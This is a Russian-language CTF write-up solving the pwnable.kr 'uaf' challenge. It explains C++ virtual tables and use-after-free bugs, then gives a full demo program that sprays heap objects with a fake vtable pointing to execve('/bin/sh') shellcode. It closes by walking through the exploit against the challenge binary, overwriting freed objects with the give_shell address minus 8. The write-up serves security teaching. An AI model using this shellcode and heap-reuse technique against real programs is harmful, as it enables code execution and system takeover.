Решение задания с pwnable.kr 16 — uaf. Уязвимость использование после освобождения (use after free)

в 19:55, , рубрики: ctf, pwn, pwnable.kr, uaf, информационная безопасность, Программирование
image

В данной статье рассмотрим, что такое UAF, а также решим 16-е задание с сайта pwnable.kr.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Наследование и виртуальные методы

Виртуальная функция — в объектно-ориентированном программировании функция класса, которая может быть переопределена в классах-наследниках. Таким образом, программисту необязательно знать точный тип объекта для работы с ним через виртуальные методы: достаточно лишь знать, что объект принадлежит классу или наследнику класса, в котором объявлен метод.

Проще говоря, представим что у нас определен базовый класс Animal у которого есть виртуальная функция sрeak. Так у класса Animal может быть два дочерних класса Cat и Dog. При том виртуальная функция Cat:sрeak() будет выыводить myau, а Dog:sрeak — gav. Но если в памяти будет храниться одинаковая структура, как программа понимает, какой из sрeak`ов нужно вызывать?

Всю работу обеспечивает таблица виртуальных методов (TVM), или как её определяют — vtable.

У каждого класса своя TVM и компилятор добавляет ее вирутальный табличный указатель (vptr — указатель на vtable), как первую локальную переменную данного объекта. Давайте проверим.

#include <stdio.h>

class ANIMAL{
	private:
		int var1 = 0x11111111;
	public:
		virtual void func1(){
			printf("Class Animal - func1n");
		}

		virtual void func2(){
			printf("Class Animal - func2n");
		}
};

class CAT : public ANIMAL {
	public:
		virtual void func1(){
			printf("Class Cat - func1n");
		}

		virtual void func2(){
			printf("Class Cat - func2n");
		}

};

int main(){
	ANIMAL *p1 = new ANIMAL();
	ANIMAL *p2 = new CAT();
	ANIMAL *ptr;

	ptr = p1;
	ptr->func1();          
	ptr->func2();  

	ptr = dynamic_cast<CAT*>(p2);
	ptr->func1();         
	ptr->func2();        

	return 0;
}

Компилируем и запустим, чтобы посмотреть вывод.

g++ ex.c -o ex.bin

image

Теперь запустим под отладчиком в IDA и остановимся перед вызовом первой функции. Перейдем в окно HEX-View и синхронизируем его с регистром RAX.

image

В выделенном фрагменте видим значение переменныx var1 при определении переменных типа ANIMALS и CAT. Перед обеими переменными присутствуют адреса, как мы и сказали, это указатели на VMT (0x559f9898fd90 и 0x559f9898fd70).

Давайте разберемся, что происходит при вызове func1:

  1. Сначала в RAX у нас окажется адрес на объекта по указателю рtr.
  2. Далее в RAX читается первое значение объекта — указатель на VMT ( на ее первый элемент).
  3. В RAX читается первое значение из VMT — указатель на тот самый виртуальный метод.
  4. В RDX заносится указатель на объект (более привычно this).
  5. Происходит вызов виртуального метода.

image

При вызове func2 происходит то же самое, за одним исключением, из VMT считывается не первая запись (RAX), a вторая (RAX + 8). Таков механизм работы с виртуальными методами.

image

UAF

Данная уязвимость характерна для кучи, так как стек расчитан на хранение данных небольшого объема (локальных переменных). Куча же, являясь динамической памятью, как раз идеально подходит для хранения данных большого объема. При этом выделение и освобождение памяти может происходить во время выполнения программы. Но из-за этого необходимо отслеживать, какая память занята, а какая нет. Для этого нужен служебный заголовок для выделенного блока памяти. Он содержит адрес начала и указатель на первый элемент блока. И при этом куча, в отличии от стека, растет вниз.

Суть уязвимости в том, что после освобождения памяти, программа может ссылаться на эту область. Так появляются висячие указатели. Изменим код программы и проверим это.

int main(){
	ANIMAL *p1 = new ANIMAL();
	ANIMAL *p2 = new CAT();
	ANIMAL *ptr;

	ptr = p1;
	ptr->func1();          
	ptr->func2();  

	ptr = dynamic_cast<CAT*>(p2);
	ptr->func1();         
	ptr->func2();       
	
	delete p2;
	ptr->func1(); 
	 
	return 0;
}

image

Давайте найдем, где падает программа. По аналогии с прошлым примером, останавливаюсь перед вызовом функции и синхранизируем Hex-View с RAX. Мы видим, по которому должен располагаться наш объект. Но при выполнении следующей инструкции в регистре RAX остается 0. И уже пытаясь разыменовать 0, программа падает.

image

image

Таким образом, для экспулуатации UAF необходимо передать программе шеллкод, а потом через висячий указатель (в VMT) перейти на его начало. Это возможно благодаря тому, что куча при запросе выделяет блок памяти, который был освобожден ранее и таким образом мы можем эмулировать VMT, которая будет указывать на шеллкод. Говоря другими словами, там где раньше находился адрес функции VMT, теперь будет расположен адрес шеллкода. Но мы не можем гарантировать, что память для только выделенного объекта совпадет с только что очищенной зоной, потому создадим несколько таких объектов в цикле.

Давайте рассмотрим на примере. Для начала возьмем шеллкод, к примеру отсюда .

"x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"

И дополним наш код:

#include <stdio.h>
#include <string.h>
class ANIMAL{
	private:
		int var1 = 0x11111111;
	public:
		virtual void func1(){
			printf("Class Animal - func1n");
		}

		virtual void func2(){
			printf("Class Animal - func2n");
		}
};

class CAT : public ANIMAL {
	public:
		virtual void func1(){
			printf("Class Cat - func1n");
		}

		virtual void func2(){
			printf("Class Cat - func2n");
		}

};

class EX_SHELL{
	private:
		char n[8];
	public:
		EX_SHELL(void* addr_in_VMT){
			memcpy(n, &addr_in_VMT, sizeof(void*));
		}
};
	

char shellcode[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

int main(){
	ANIMAL *p1 = new ANIMAL();
	ANIMAL *p2 = new CAT();
	ANIMAL *ptr;

	ptr = p1;
	ptr->func1();          
	ptr->func2();  

	ptr = dynamic_cast<CAT*>(p2);
	ptr->func1();         
	ptr->func2();       
	
	delete p2;
	
	void* vmt[1];
	vmt[0] = (void*) shellcode;
	for(int i=0; i<0x10000; i++)
		new EX_SHELL(vmt);

	ptr->func1(); 
	 
	return 0;
}

После компилирования и запуска получаем полноценный shell.

image

Решение задания uaf

Нажимаем на иконку с подписью uaf, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Посмотрим исходный код

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){                                                             
                cout << "My name is " << name << endl;                                        
                cout << "I am " << age << " years old" << endl;                               
        }                                                                                     
};                                                                                            
                                                                                              
class Man: public Human{                                                                      
public:                                                                                       
        Man(string name, int age){                                                            
                this->name = name;                                                            
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. usen2. aftern3. freen";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

В самом начале программы у нас содаются два объекта классов, унаследованных от класса Human. Который имеет функцию, дающую нам шелл.

image

Далее нам предлагают ввести одно из трех действия:

  1. вывести информацию объекта;
  2. записать в кучу данные, принятые в качестве параметра программы;
  3. удалить созданный объект.

image

Так как в данной задаче рассматривается UAF уязвимость, то план должен быть следующий: создание — удаление — запись в кучу — получение информации.

Единственный этап, который мы полностью контролируем — это запись в кучу. Но перед записью нам нужно знать как выглядит VMT для данных объектов и адрес функции, дающей нам шелл. На примере мы поняли, как устроена VMT, указатели на адреса хранятся друг за другом, т.е.
func2 = *func1+sizeof(*func1), func3 = *func1+2*sizeof(*func2) и т.д.

Так как первой функцией в VMT будет являться give_shell(), а при вызове функции Man::introduce() вторым адресом VMT и будет являться адрес introduce. С учетом 64-разрядной системы: *introduce = *give_shell + 8. Найдем этому подтверждение:

image

Строка main+272 доказывает наше предположение, так как адрес относительно базы увеличивается на 8.

Поставим точку останова и посмотрим содержимое EAX, чтобы определить адрес базы.

image

image

image

Мы нашли адрес базы: 0x0000000000401570. Таким образом вместо шелла, нам нужно записать в кучу адрес give_shell(), уменьшенный на 8, чтобы он был принят за базу VMT, при увеличении на 8, программа давалабы нам шелл.

image

Программа в качестве параметра количество байт, которое она считает из файла, и название файла. Осталось малость, чтобы перезаписать данные, нужно выделить блок памяти, размером с освобожденный блок. Найдем размер блока, который занимает один объект.

image

Таким образом, перед созданием объекта резервируется 0х18=24 байта. То есть нам необходимо составить файл, состоящий из 24 байт.

image

Так как программа освобождает два объекта, то и записать данные нам придется два раза.

image

Получаем шелл, читаем флаг, получаем 8 очков.

image

Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с выравниваем памяти.

Автор: RalfHacker

Источник


* - обязательные к заполнению поля